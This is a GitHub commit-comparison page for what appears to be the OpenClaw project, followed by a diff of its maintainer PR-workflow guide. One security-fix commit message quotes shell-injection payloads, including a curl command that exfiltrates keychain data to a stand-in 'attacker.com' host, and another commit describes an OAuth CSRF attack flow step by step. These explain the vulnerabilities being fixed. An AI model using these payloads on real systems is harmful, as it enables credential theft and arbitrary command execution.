Compare commits

..

137 Commits

Author SHA1 Message Date
Shadow
cf7b789d85 fix: add discord routing debug logging (#16202) (thanks @jayleekr) 2026-02-14 11:02:04 -06:00
Peter Steinberger
054366dea4 fix(security): require explicit trust for first-time TLS pins 2026-02-14 17:55:20 +01:00
Peter Steinberger
d714ac7797 refactor(agents): dedupe transient error copy (#16324) 2026-02-14 17:49:25 +01:00
Peter Steinberger
3e6d1e9cf8 docs: update changelog 2026-02-14 17:43:44 +01:00
Vincent
478af81706 Return user-facing message if API reuturn 429 API rate limit reached #2202 (#10415)
* Return user-facing message if API reuturn 429 API rate limit reached

* clarify the error message

* fix(agents): improve 429 user messaging (#10415) (thanks @vincenthsin)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 17:40:02 +01:00
Shadow
ff32f43459 Discord: prefer gateway guild id in verbose log 2026-02-14 10:39:36 -06:00
Christoph Spörk
81b5e2766b feat(podman): add optional Podman setup and documentation (#16273)
* feat(podman): add optional Podman setup and documentation

- Introduced `setup-podman.sh` for one-time host setup of OpenClaw in a rootless Podman environment, including user creation, image building, and launch script installation.
- Added `run-openclaw-podman.sh` for running the OpenClaw gateway as a Podman container.
- Created `openclaw.podman.env` for environment variable configuration.
- Updated documentation to include Podman installation instructions and a new dedicated Podman guide.
- Added a systemd Quadlet unit for managing the OpenClaw service as a user service.

* fix: harden Podman setup and docs (#16273) (thanks @DarwinsBuddy)

* style: format cli credentials

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 17:39:06 +01:00
Robby
078642b308 fix(discord): defer component interactions to prevent timeout (#16287)
* fix(discord): defer component interactions to prevent timeout

Discord requires interaction responses within 3 seconds. Button clicks
were routed through the LLM pipeline before responding, exceeding this
window and showing 'This interaction failed' to users.

Now immediately defers the interaction, then processes the agent
response asynchronously.

Fixes #16262

* fix: harden deferred interaction replies and silent chat finals (#16287) (thanks @robbyczgw-cla)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 17:38:01 +01:00
Gustavo Madeira Santana
69f809dca3 fix: restore deterministic review workflow 2026-02-14 11:37:09 -05:00
Peter Steinberger
9236a27456 perf(test): speed up web logout tests 2026-02-14 16:36:15 +00:00
Peter Steinberger
fe2d883cf7 perf(test): remove fs skill scanning from skill-commands tests 2026-02-14 16:36:15 +00:00
Peter Steinberger
5349a0f7c2 perf(test): mock reserved commands in skill-commands tests 2026-02-14 16:36:15 +00:00
Peter Steinberger
8ff2787981 perf(test): speed up skill-commands tests 2026-02-14 16:36:15 +00:00
Peter Steinberger
94ff44f112 test: make telegram network config hermetic 2026-02-14 16:36:15 +00:00
Peter Steinberger
ebcc6480c2 perf(cli): split skills formatting 2026-02-14 16:36:15 +00:00
Peter Steinberger
f2c56de955 perf(test): speed up memory suites 2026-02-14 16:36:15 +00:00
Peter Steinberger
a7142c6218 perf(test): cache hook installer fixtures 2026-02-14 16:36:15 +00:00
Peter Steinberger
ee82c173ae perf(test): reduce web logout fs churn 2026-02-14 16:36:15 +00:00
Peter Steinberger
2b5e0a6075 perf(test): speed up memory batch + web logout 2026-02-14 16:36:15 +00:00
Peter Steinberger
76e4e9d176 perf(test): reduce skills + update + memory suite overhead 2026-02-14 16:36:15 +00:00
Peter Steinberger
684c18458a perf(test): speed up line, models list, and memory batch 2026-02-14 16:36:15 +00:00
Peter Steinberger
9fb48f4dff refactor(scripts): make run-node main testable 2026-02-14 16:36:15 +00:00
Peter Steinberger
ebc68861a6 fix: remove unused imports 2026-02-14 17:35:16 +01:00
Peter Steinberger
d3428053d9 fix: redact config values in skills status 2026-02-14 17:35:16 +01:00
Peter Steinberger
188c4cd076 fix(security): reject ambiguous webhook target matches 2026-02-14 17:28:28 +01:00
Peter Steinberger
b908388245 test(security): remove redundant cli-credentials e2e tests 2026-02-14 17:25:48 +01:00
Peter Steinberger
66d7178f2d fix(security): eliminate shell from Claude CLI keychain refresh 2026-02-14 17:24:29 +01:00
Peter Steinberger
d583782ee3 fix(security): harden discovery routing and TLS pins 2026-02-14 17:18:14 +01:00
Peter Steinberger
61d59a8028 fix(googlechat): reject ambiguous webhook routing 2026-02-14 17:11:55 +01:00
Aether AI
9dce3d8bf8 fix(security): prevent shell injection in macOS keychain credential write (#15924)
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).

## Vulnerable Code

The previous implementation built a shell command via string
interpolation with single-quote escaping:

  execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)

The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.

## Attack Vector

User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`

These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.

## Fix

execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:

  execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])

This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
2026-02-14 17:06:10 +01:00
Hudson
1d6abddb9f fix(signal): outbound formatting and markdown IR rendering improvements (#9781)
* fix: Signal and markdown formatting improvements

Markdown IR fixes:
- Fix list-paragraph spacing (extra newline between list items and following paragraphs)
- Fix nested list indentation and newline handling
- Fix blockquote_close emitting redundant newline (inner content handles spacing)
- Render horizontal rules as visible ─── separator instead of silent drop
- Strip inner cell styles in code-mode tables to prevent overlapping with code_block span

Signal formatting fixes:
- Normalize URLs for dedup comparison (strip protocol, www., trailing slash)
- Render headings as bold text (headingStyle: 'bold')
- Add '> ' prefix to blockquotes for visual distinction
- Re-chunk after link expansion to respect chunk size limits

Tests:
- 51 new tests for markdown IR (spacing, lists, blockquotes, tables, HR)
- 18 new tests for Signal formatting (URL dedup, headings, blockquotes, HR, chunking)
- Update Slack nested list test expectation to match corrected IR output

* refactor: style-aware Signal text chunker

Replace indexOf-based chunk position tracking with deterministic
cursor tracking. The new splitSignalFormattedText:

- Splits at whitespace/newline boundaries within the limit
- Avoids breaking inside parentheses (preserves expanded link URLs)
- Slices style ranges at chunk boundaries with correct local offsets
- Tracks position via offset arithmetic instead of fragile indexOf

Removes dependency on chunkText from auto-reply/chunk.

Tests: 19 new tests covering style preservation across chunk boundaries,
edge cases (empty text, under limit, exact split points), and integration
with link expansion.

* fix: correct Signal style offsets with multiple link expansions

applyInsertionsToStyles() was using original coordinates for each
insertion without tracking cumulative shift from prior insertions.
This caused bold/italic/etc styles to drift to wrong text positions
when multiple markdown links expanded in a single message.

Added cumulative shift tracking and a regression test.

* test: clean up test noise and fix ineffective assertions

- Remove console.log from ir.list-spacing and ir.hr-spacing tests
- Fix ir.nested-lists.test.ts: remove ineffective regex assertion
- Fix ir.hr-spacing.test.ts: add actual assertions to edge case test

* refactor: split Signal formatting tests (#9781) (thanks @heyhudson)

---------

Co-authored-by: Hudson <258693705+hudson-rivera@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 16:57:20 +01:00
Peter Steinberger
226bf74634 docs(telegram): document allowlist id requirement 2026-02-14 16:51:59 +01:00
Peter Steinberger
3e0e78f82a fix(nostr): guard profile mutations 2026-02-14 16:51:04 +01:00
Peter Steinberger
eb60e2e1b2 fix(security): harden CLI cleanup kill and matching 2026-02-14 16:49:38 +01:00
Peter Steinberger
9e147f00b4 fix(doctor): resolve telegram allowFrom usernames 2026-02-14 16:48:07 +01:00
Peter Steinberger
50645b905b refactor(outbound): centralize outbound identity 2026-02-14 16:44:43 +01:00
Peter Steinberger
6084d13b95 fix(security): scope CLI cleanup to owned child PIDs 2026-02-14 16:43:35 +01:00
Peter Steinberger
5b4121d601 fix: harden Feishu media URL fetching (#16285) (thanks @mbelinky)
Security fix for Feishu extension media fetching.
2026-02-14 16:42:35 +01:00
Peter Steinberger
d82c5ea9d1 refactor(utils): share safe json stringify 2026-02-14 15:39:46 +00:00
Peter Steinberger
8d1a1d9e86 refactor(commands): share vllm setup 2026-02-14 15:39:46 +00:00
Peter Steinberger
64df787448 refactor(channels): share account summary helpers 2026-02-14 15:39:46 +00:00
Peter Steinberger
cc233da373 refactor(pairing): share json state helpers 2026-02-14 15:39:46 +00:00
Peter Steinberger
e9de242159 refactor(exec-approvals): share request event types 2026-02-14 15:39:46 +00:00
Peter Steinberger
bc4881ed0c refactor(memory): share stale index cleanup 2026-02-14 15:39:46 +00:00
Peter Steinberger
cdc31903c2 refactor(media-understanding): share gemini inline-data helper 2026-02-14 15:39:46 +00:00
Peter Steinberger
d1f36bfd84 refactor(cli): share windows argv normalization 2026-02-14 15:39:46 +00:00
Peter Steinberger
4caeb203a6 refactor(install): share package dir install 2026-02-14 15:39:46 +00:00
Peter Steinberger
e1e05e57cb refactor(utils): share shell argv tokenizer 2026-02-14 15:39:46 +00:00
Peter Steinberger
8218a94a31 refactor(signal): share rpc context 2026-02-14 15:39:45 +00:00
Peter Steinberger
e401e2584d refactor(auto-reply): share elevated unavailable message 2026-02-14 15:39:45 +00:00
Peter Steinberger
0dbe087ef8 refactor(pi-embedded-runner): dedupe attempt params 2026-02-14 15:39:45 +00:00
Peter Steinberger
4734c985c8 refactor(discord): share client rest helpers 2026-02-14 15:39:45 +00:00
Peter Steinberger
270779b2cd refactor(shared): derive requirements from metadata 2026-02-14 15:39:45 +00:00
Peter Steinberger
7bd073340a refactor(memory): share batch output parsing 2026-02-14 15:39:45 +00:00
Peter Steinberger
4f61a3f527 refactor(shared): centralize requirements evaluation 2026-02-14 15:39:45 +00:00
Peter Steinberger
3e2f0ca077 refactor(media-understanding): share gemini output extract 2026-02-14 15:39:45 +00:00
Peter Steinberger
747b11c83e refactor(config): share allow/deny channel policy schema 2026-02-14 15:39:45 +00:00
Peter Steinberger
268c14f021 refactor(tools): centralize default policy steps 2026-02-14 15:39:45 +00:00
Peter Steinberger
1a4fb35030 refactor(canvas-host): share static file resolver 2026-02-14 15:39:45 +00:00
Peter Steinberger
2004ce919a refactor(daemon): share schtasks exec helper 2026-02-14 15:39:45 +00:00
Peter Steinberger
3150ece95a refactor(channels): pass setup input to mutator 2026-02-14 15:39:45 +00:00
Peter Steinberger
f97ad8f288 refactor(tools): share tool policy pipeline 2026-02-14 15:39:45 +00:00
Peter Steinberger
4c74a2f06e refactor(channels): reuse setup input types 2026-02-14 15:39:45 +00:00
Peter Steinberger
9f84afc992 refactor(line): share flex footer helper 2026-02-14 15:39:45 +00:00
Peter Steinberger
a1fc6a6ea6 refactor(daemon): share runtime status formatter 2026-02-14 15:39:45 +00:00
Peter Steinberger
1b9c1c648d refactor(daemon): share service lifecycle runner 2026-02-14 15:39:45 +00:00
Peter Steinberger
ece55b4682 refactor(shared): dedupe frontmatter parsing 2026-02-14 15:39:45 +00:00
Peter Steinberger
1b03eb71aa refactor(health): share channel line styling 2026-02-14 15:39:45 +00:00
Peter Steinberger
bc0160d0f2 refactor(shared): dedupe requirements evaluation 2026-02-14 15:39:45 +00:00
Peter Steinberger
06bc9f368b refactor(nodes): share node id matcher 2026-02-14 15:39:45 +00:00
Peter Steinberger
81361755b7 refactor(reactions): share reaction level resolver 2026-02-14 15:39:45 +00:00
Peter Steinberger
b769b65b48 refactor(browser): share proxy file helpers 2026-02-14 15:39:45 +00:00
Peter Steinberger
d71f6afb7f refactor(line): centralize action helpers 2026-02-14 15:39:45 +00:00
Peter Steinberger
25ecd4216c refactor(shared): dedupe config path eval 2026-02-14 15:39:45 +00:00
Peter Steinberger
b3882eccef refactor(config): share include scan helper 2026-02-14 15:39:45 +00:00
Peter Steinberger
7fc1026746 refactor(gateway): share agent prompt builder 2026-02-14 15:39:45 +00:00
Peter Steinberger
e707a7bd36 refactor(memory): reuse runWithConcurrency 2026-02-14 15:39:44 +00:00
Peter Steinberger
60a7625f2a refactor(agents): share glob matcher 2026-02-14 15:39:44 +00:00
Peter Steinberger
fdc3a6a809 build(tsconfig): map plugin-sdk account-id 2026-02-14 15:39:44 +00:00
Peter Steinberger
50a6e0e69e fix: strip leading empty lines in sanitizeUserFacingText (#16280)
* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)

* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)

* fix: strip leading empty lines in sanitizeUserFacingText (#16158) (thanks @mcinteerj)
2026-02-14 16:34:02 +01:00
Andres G. Aragoneses
aa1dbd34a1 docs: fix typo p-coding-agent -> pi-coding-agent 2026-02-14 16:30:48 +01:00
Jake
3881af5b37 fix: strip leading whitespace from sanitizeUserFacingText output (#16158)
* fix: strip leading whitespace from sanitizeUserFacingText output

LLM responses frequently begin with \n\n, which survives through
sanitizeUserFacingText and reaches the channel as visible blank lines.

Root cause: the function used trimmed text for empty-checks but returned
the untrimmed 'stripped' variable. Two one-line fixes:
1. Return empty string (not whitespace-only 'stripped') for blank input
2. Apply trimStart() to the final return value

Fixes the same issue as #8052 and #10612 but at the root cause
(sanitizeUserFacingText) rather than scattering trimStart across
multiple delivery paths.

* Changelog: note sanitizeUserFacingText whitespace normalization

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-14 09:23:05 -06:00
Peter Steinberger
e3b432e481 fix(telegram): require sender ids for allowlist auth 2026-02-14 16:09:00 +01:00
Robby
09e1cbc35d fix(cron): pass agent identity through delivery path (#16218) (#16242)
* fix(cron): pass agent identity through delivery path

Cron delivery messages now include agent identity (name, avatar) in
outbound messages. Identity fields are passed best-effort for Slack
(graceful fallback if chat:write.customize scope is missing).

Fixes #16218

* fix: fix Slack cron delivery identity (#16242) (thanks @robbyczgw-cla)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 16:08:51 +01:00
Peter Steinberger
497b060e49 refactor: simplify manifest registry duplicate detection (#16260) 2026-02-14 16:04:41 +01:00
Peter Steinberger
a6fbd0393d fix(browser): annotate csrf middleware type 2026-02-14 15:54:29 +01:00
Peter Steinberger
abf6b4997e test(archive): accept drive-path absolute tar errors 2026-02-14 15:52:38 +01:00
Peter Steinberger
b87b16e2b6 docs(changelog): note browser CSRF hardening 2026-02-14 15:51:46 +01:00
Peter Steinberger
b566b09f81 fix(security): block cross-origin mutations on loopback browser routes 2026-02-14 15:51:09 +01:00
Peter Steinberger
1f1fc095a0 refactor(sandbox): auto-recreate browser container on config changes (#16254) 2026-02-14 15:47:59 +01:00
Peter Steinberger
31791233d6 fix(security): reject oversized base64 before decode 2026-02-14 15:45:41 +01:00
Peter Steinberger
4f043991e0 fix: suppress false duplicate plugin warnings (#16222) (thanks @shadril238) (#16245) 2026-02-14 15:45:21 +01:00
Peter Steinberger
4c7838e3cf refactor(archive): centralize limits and budgets 2026-02-14 15:43:44 +01:00
Peter Steinberger
5f4b29145c test(archive): cover archive size and absolute tar paths 2026-02-14 15:36:41 +01:00
Peter Steinberger
d3ee5deb87 fix(archive): enforce extraction resource limits 2026-02-14 15:36:41 +01:00
Peter Steinberger
c8424bf29a fix(googlechat): deprecate users/<email> allowlists (#16243) 2026-02-14 15:31:26 +01:00
Aether AI
3967ece625 fix(security): OC-25 — Validate OAuth state parameter to prevent CSRF attacks (#16058)
* fix(security): validate OAuth state parameter to prevent CSRF attacks (OC-25)

The parseOAuthCallbackInput() function in the Chutes OAuth flow had two
critical bugs that completely defeated CSRF state validation:

1. State extracted from callback URL was never compared against the
   expected cryptographic nonce, allowing attacker-controlled state values
2. When URL parsing failed (bare authorization code input), the catch block
   fabricated a matching state using expectedState, making the caller's
   CSRF check always pass

## Attack Flow

1. Victim runs `openclaw login chutes --manual`
2. System generates cryptographic state: randomBytes(16).toString("hex")
3. Browser opens: https://api.chutes.ai/idp/authorize?state=abc123...
4. Attacker obtains their OWN OAuth authorization code (out of band)
5. Attacker tricks victim into pasting just "EVIL_CODE" (not full URL)
6. parseOAuthCallbackInput("EVIL_CODE", "abc123...") is called
7. new URL("EVIL_CODE") throws → catch block executes
8. catch returns { code: "EVIL_CODE", state: "abc123..." } ← FABRICATED
9. Caller checks: parsed.state !== state → "abc123..." !== "abc123..." → FALSE
10. CSRF check passes! System calls exchangeChutesCodeForTokens()
11. Attacker's code exchanged for access + refresh tokens
12. Victim's account linked to attacker's OAuth session

Fix:
- Add explicit state validation against expectedState before returning
- Remove state fabrication from catch block; always return error for
  non-URL input
- Add comprehensive unit tests for state validation

Remediated by Aether AI Agent security analysis.

* fix(security): harden chutes manual oauth state check (#16058) (thanks @aether-ai-agent)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 15:28:52 +01:00
seheepeak
cb9a5e1cb9 feat(sandbox): separate bind mounts for browser containers (#16230)
* feat(sandbox): add separate browser.binds config for browser containers

Allow configuring bind mounts independently for browser containers via
sandbox.browser.binds. When set, browser containers use browser-specific
binds instead of inheriting docker.binds. Falls back to docker.binds
when browser.binds is not configured for backwards compatibility.

Closes #14614

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(sandbox): honor empty browser binds override (#16230) (thanks @seheepeak)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 15:27:41 +01:00
Tak Hoffman
302dafbe1a Docs: move submission guidance to GitHub templates (#16232)
* Docs: move submission guidance to GitHub templates

* Docs: make PR risk template entries flexible

* Docs: remove PR reviewer checklist section
2026-02-14 08:27:01 -06:00
Peter Steinberger
493f6f458b perf(test): speed up browser test suites 2026-02-14 14:25:54 +00:00
Peter Steinberger
57f40a5da6 perf(test): speed up config tests 2026-02-14 14:25:54 +00:00
shadril238
788ea6e9d1 fix: suppress false duplicate plugin id warning for symlinked extensions
When the same plugin directory is discovered through different path
representations (e.g. symlinks), the manifest registry incorrectly
warns about a duplicate plugin id. This is a false positive that
appears for bundled extensions like feishu (#16208).

Compare fs.realpathSync() of both candidates' rootDir before emitting
the duplicate warning. If they resolve to the same physical directory,
silently skip the duplicate instead of warning.

Also change seenIds from Set<string> to Map<string, PluginCandidate>
to track the first-seen candidate for comparison.

Closes #16208
2026-02-14 15:25:51 +01:00
Peter Steinberger
1a7e180e68 refactor(media): normalize inbound MediaType/MediaTypes defaults (#16233)
* refactor(media): normalize inbound media type defaults

* test(browser): fix Windows path expectation in file chooser hook
2026-02-14 15:18:19 +01:00
Peter Steinberger
00a0890889 fix(media): bound input media payload sizes 2026-02-14 15:16:06 +01:00
Peter Steinberger
4b1cadaecb refactor(media): normalize inbound media type defaults (#16228) 2026-02-14 15:06:13 +01:00
Peter Steinberger
e53a221e5c chore: format changelog 2026-02-14 15:03:27 +01:00
Peter Steinberger
28d9dd7a77 fix(macos): harden openclaw deep links 2026-02-14 15:03:27 +01:00
Peter Steinberger
644bef157a docs: clarify hook transform module path constraints 2026-02-14 15:03:27 +01:00
Peter Steinberger
35c0e66ed0 fix(security): harden hooks module loading 2026-02-14 15:03:27 +01:00
Peter Steinberger
3d0a41b584 test(gateway): isolate device identity in auth e2e 2026-02-14 14:57:19 +01:00
Peter Steinberger
3a67721dae docs(security): fix canvas host docs formatting 2026-02-14 14:57:19 +01:00
Peter Steinberger
6a386a7886 docs(security): clarify canvas host exposure and auth 2026-02-14 14:57:19 +01:00
jasonftl
8025e7c6c2 fix(discord): respect gateway TLS config in exec approvals handler (#16216) (thanks @jasonftl) 2026-02-14 14:53:38 +01:00
Peter Steinberger
842499d6c5 test(security): reject hook archives with traversal entries (#16224) 2026-02-14 14:53:33 +01:00
Peter Steinberger
3aa94afcfd fix(security): harden archive extraction (#16203)
* fix(browser): confine upload paths for file chooser

* fix(browser): sanitize suggested download filenames

* chore(lint): avoid control regex in download sanitizer

* test(browser): cover absolute escape paths

* docs(browser): update upload example path

* refactor(browser): centralize upload path confinement

* fix(infra): harden tmp dir selection

* fix(security): harden archive extraction

* fix(infra): harden tar extraction filter
2026-02-14 14:42:08 +01:00
Peter Steinberger
9a134c8a10 perf(test): tune parallel vitest worker split 2026-02-14 13:27:18 +00:00
Peter Steinberger
ce0eddd384 test: isolate test home before runtime imports 2026-02-14 13:27:18 +00:00
Peter Steinberger
7d3e5788e8 fix: stop enforcing <final> for ollama (#16191) (thanks @Glucksberg) 2026-02-14 14:21:34 +01:00
Glucksberg
74193ff754 fix(ollama): remove Ollama from isReasoningTagProvider (#2279)
Ollama's OpenAI-compatible endpoint handles reasoning natively via the
`reasoning` field in streaming chunks. Treating Ollama as a
reasoning-tag provider incorrectly forces <think>/<final> tag
enforcement, which causes stripBlockTags() to discard all output
(since Ollama models don't emit <final> tags), resulting in
'(no output)' for every Ollama model.

This fix removes 'ollama' from the isReasoningTagProvider() check,
allowing Ollama models to work correctly through the standard
content/reasoning field separation.
2026-02-14 14:21:34 +01:00
Tanwa Arpornthip
c76288bdf1 fix(slack): download all files in multi-image messages (#15447)
* fix(slack): download all files in multi-image messages

resolveSlackMedia() previously returned after downloading the first
file, causing multi-image Slack messages to lose all but the first
attachment. This changes the function to collect all successfully
downloaded files into an array, matching the pattern already used by
Telegram, Line, Discord, and iMessage adapters.

The prepare handler now populates MediaPaths, MediaUrls, and
MediaTypes arrays so downstream media processing (vision, sandbox
staging, media notes) works correctly with multiple attachments.

Fixes #11892, #7536

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(slack): preserve MediaTypes index alignment with MediaPaths/MediaUrls

The filter(Boolean) on MediaTypes removed entries with undefined contentType,
shrinking the array and breaking index correlation with MediaPaths and MediaUrls.
Downstream code (media-note.ts, attachments.ts) requires these arrays to have
equal lengths for correct per-attachment MIME type lookup. Replace filter(Boolean)
with a nullish coalescing fallback to "application/octet-stream".

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(slack): align MediaType fallback and tests (#15447) (thanks @CommanderCrowCode)

* fix: unblock plugin-sdk account-id typing (#15447)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 14:16:02 +01:00
Peter Steinberger
ef70a55b7a refactor(reply): clarify explicit reply tags in off mode (#16189)
* refactor(reply): clarify explicit reply tags in off mode

* fix(plugin-sdk): alias account-id subpath for extensions
2026-02-14 14:15:37 +01:00
Peter Steinberger
6f7d31c426 fix(security): harden plugin/hook npm installs 2026-02-14 14:07:14 +01:00
Peter Steinberger
d69b32a073 docs(changelog): clarify hooks transform dir restriction 2026-02-14 14:02:16 +01:00
Peter Steinberger
d73b48b32c fix(ts): map plugin-sdk subpaths 2026-02-14 13:01:02 +00:00
Peter Steinberger
ec399aaddf perf(test): parallelize unit-isolated 2026-02-14 13:01:02 +00:00
Peter Steinberger
18e8bd68c5 fix(security): block hook manifest path escapes 2026-02-14 14:00:37 +01:00
Peter Steinberger
3bbd29bef9 perf(gateway): cache session list transcript fields 2026-02-14 12:52:51 +00:00
Peter Steinberger
a0361b8ba9 fix(security): restrict hook transform module loading 2026-02-14 13:46:09 +01:00
Peter Steinberger
6543ce717c perf(test): avoid plugin-sdk barrel imports 2026-02-14 12:42:19 +00:00
Peter Steinberger
1ba266a8e8 refactor: split minimax-cn provider 2026-02-14 13:37:47 +01:00
Peter Steinberger
bf080c2338 Merge remote-tracking branch 'origin/main' 2026-02-14 13:36:18 +01:00
Tak Hoffman
274da72c38 Revert "fix: don't auto-create HEARTBEAT.md on workspace init (openclaw#12027) thanks @shadril238" (#16183)
This reverts commit 386bb0c618.
2026-02-14 06:33:14 -06:00
Peter Steinberger
83248f7603 Merge remote-tracking branch 'origin/main' 2026-02-14 13:30:22 +01:00
Peter Steinberger
af50b914a4 refactor(browser): centralize http auth 2026-02-14 13:30:11 +01:00
Peter Steinberger
cd84885a4a test(browser): cover bridge auth registry fallback 2026-02-14 13:23:24 +01:00
Peter Steinberger
6dd6bce997 fix(security): enforce sandbox bridge auth 2026-02-14 13:17:41 +01:00
Peter Steinberger
4711a943e3 fix(browser): authenticate sandbox browser bridge server 2026-02-14 12:54:16 +01:00
391 changed files with 14832 additions and 8055 deletions

View File

@@ -1,18 +1,22 @@
# PR Review Instructions
# PR Workflow for Maintainers
Please read this in full and do not skip sections.
This is the single source of truth for the maintainer PR workflow.
## Triage order
Process PRs **oldest to newest**. Older PRs are more likely to have merge conflicts and stale dependencies; resolving them first keeps the queue healthy and avoids snowballing rebase pain.
## Working rule
Skills execute workflow, maintainers provide judgment.
Skills execute workflow. Maintainers provide judgment.
Always pause between skills to evaluate technical direction, not just command success.
Default mode is local-first, do not write to GitHub until maintainer explicitly says go.
These three skills must be used in order:
1. `review-pr`
2. `prepare-pr`
3. `merge-pr`
1. `review-pr` — review only, produce findings
2. `prepare-pr` — rebase, fix, gate, push to PR head branch
3. `merge-pr` — squash-merge, verify MERGED state, clean up
They are necessary, but not sufficient. Maintainers must steer between steps and understand the code before moving forward.
@@ -21,26 +25,64 @@ If submitted code is low quality, ignore it and implement the best solution for
Do not continue if you cannot verify the problem is real or test the fix.
## Remote write policy
## Script-first contract
Until the maintainer explicitly approves remote actions, stay local-only.
Skill runs should invoke these wrappers automatically. You only need to run them manually when debugging or doing an explicit script-only run:
Remote actions include:
- `scripts/pr-review <PR>`
- `scripts/pr review-checkout-main <PR>` or `scripts/pr review-checkout-pr <PR>` while reviewing
- `scripts/pr review-guard <PR>` before writing review outputs
- `scripts/pr review-validate-artifacts <PR>` after writing outputs
- `scripts/pr-prepare init <PR>`
- `scripts/pr-prepare validate-commit <PR>`
- `scripts/pr-prepare gates <PR>`
- `scripts/pr-prepare push <PR>`
- Optional one-shot prepare: `scripts/pr-prepare run <PR>`
- `scripts/pr-merge <PR>` (verify-only; short form remains backward compatible)
- `scripts/pr-merge verify <PR>` (verify-only)
- Optional one-shot merge: `scripts/pr-merge run <PR>`
- Pushing branches.
- Posting PR comments.
- Editing PR metadata (labels, assignees, state).
- Merging PRs.
- Editing advisory state or publishing advisories.
These wrappers run shared preflight checks and generate deterministic artifacts. They are designed to work from repo root or PR worktree cwd.
Allowed before approval:
## Required artifacts
- Local code changes.
- Local tests and validation.
- Drafting copy for PR/advisory comments.
- Read-only `gh` commands.
- `.local/pr-meta.json` and `.local/pr-meta.env` from review init.
- `.local/review.md` and `.local/review.json` from review output.
- `.local/prep-context.env` and `.local/prep.md` from prepare.
- `.local/prep.env` from prepare completion.
When approved, perform only the approved remote action, then pause for next instruction.
## Structured review handoff
`review-pr` must write `.local/review.json`.
In normal skill runs this is handled automatically. Use `scripts/pr review-artifacts-init <PR>` and `scripts/pr review-tests <PR> ...` manually only for debugging or explicit script-only runs.
Minimum schema:
```json
{
"recommendation": "READY FOR /prepare-pr",
"findings": [
{
"id": "F1",
"severity": "IMPORTANT",
"title": "Missing changelog entry",
"area": "CHANGELOG.md",
"fix": "Add a Fixes entry for PR #<PR>"
}
],
"tests": {
"ran": ["pnpm test -- ..."],
"gaps": ["..."],
"result": "pass"
}
}
```
`prepare-pr` resolves all `BLOCKER` and `IMPORTANT` findings from this file.
## Coding Agent
Use ChatGPT 5.3 Codex High. Fall back to 5.2 Codex High or 5.3 Codex Medium if necessary.
## PR quality bar
@@ -53,6 +95,60 @@ When approved, perform only the approved remote action, then pause for next inst
- Harden changes. Always evaluate security impact and abuse paths.
- Understand the system before changing it. Never make the codebase messier just to clear a PR queue.
## Rebase and conflict resolution
Before any substantive review or prep work, **always rebase the PR branch onto current `main` and resolve merge conflicts first**. A PR that cannot cleanly rebase is not ready for review — fix conflicts before evaluating correctness.
- During `prepare-pr`: rebase onto `main` as the first step, before fixing findings or running gates.
- If conflicts are complex or touch areas you do not understand, stop and escalate.
- Prefer **rebase** for linear history; **squash** when commit history is messy or unhelpful.
## Commit and changelog rules
- In normal `prepare-pr` runs, commits are created via `scripts/committer "<msg>" <file...>`. Use it manually only when operating outside the skill flow; avoid manual `git add`/`git commit` so staging stays scoped.
- Follow concise, action-oriented commit messages (e.g., `CLI: add verbose flag to send`).
- During `prepare-pr`, use concise, action-oriented subjects **without** PR numbers or thanks; reserve `(#<PR>) thanks @<pr-author>` for the final merge/squash commit.
- Group related changes; avoid bundling unrelated refactors.
- Changelog workflow: keep the latest released version at the top (no `Unreleased`); after publishing, bump the version and start a new top section.
- When working on a PR: add a changelog entry with the PR number and thank the contributor (mandatory in this workflow).
- When working on an issue: reference the issue in the changelog entry.
- In this workflow, changelog is always required even for internal/test-only changes.
## Gate policy
In fresh worktrees, dependency bootstrap is handled by wrappers before local gates. Manual equivalent:
```sh
pnpm install --frozen-lockfile
```
Gate set:
- Always: `pnpm build`, `pnpm check`
- `pnpm test` required unless high-confidence docs-only criteria pass.
## Co-contributor and clawtributors
- If we squash, add the PR author as a co-contributor in the commit body using a `Co-authored-by:` trailer.
- When maintainer prepares and merges the PR, add the maintainer as an additional `Co-authored-by:` trailer too.
- Avoid `--auto` merges for maintainer landings. Merge only after checks are green so the maintainer account is the actor and attribution is deterministic.
- For squash merges, set `--author-email` to a reviewer-owned email with fallback candidates; if merge fails due to author-email validation, retry once with the next candidate.
- If you review a PR and later do work on it, land via merge/squash (no direct-main commits) and always add the PR author as a co-contributor.
- When merging a PR: leave a PR comment that explains exactly what we did, include the SHA hashes, and record the comment URL in the final report.
- Manual post-merge step for new contributors: run `bun scripts/update-clawtributors.ts` to add their avatar to the README "Thanks to all clawtributors" list, then commit the regenerated README.
## Review mode vs landing mode
- **Review mode (PR link only):** read `gh pr view`/`gh pr diff`; **do not** switch branches; **do not** change code.
